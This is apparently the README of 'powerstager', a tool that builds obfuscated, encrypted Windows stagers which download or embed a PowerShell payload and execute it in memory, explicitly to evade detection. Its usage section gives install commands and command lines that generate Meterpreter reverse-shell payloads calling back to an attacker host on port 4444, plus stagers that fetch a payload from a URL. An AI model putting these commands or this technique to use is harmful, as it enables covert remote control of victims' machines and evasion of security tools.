This script creates an executable stager that downloads a selected powershell payload, loads it into memory and executes it using obfuscated EC methods. The script will also encrypt the stager for dynamic signatures and some additional obfuscation.
This enables the actual payload to be executed indirectly without the victim downloading it, only by executing the stager. The attacker can then for example implement evasion techniques on the web server, hosting the payload, instead of in the stager itself.
Additional methods allows the payload to be embedded into the 'stager' and temporarily stored encrypted on disk for memory injection.
Not only are powershell powerful when managing Windows, it's also powerful when exploiting Windows. This script exploits multiple Windows features such as its inherit trust of powershell, interpretation of shorthand syntaxes, code evaluation and more...
How to use
Generate a meterpreter payload to upload:
git clone https://github.com/z0noxz/powerstager
sudo ./setup.py install
Generate an embedded meterpreter payload:
powerstager -t win64 -o out.ps1 -m --lhost 22.214.171.124 --lport 4444 --generate
powerstager -t win64 -o out.exe -u <url pointing the the uploaded payload>
Generate an embedded custom payload:
powerstager -t win64 -o out.exe -m --lhost 126.96.36.199 --lport 4444
powerstager -t win64 -o out.exe -p input.ps1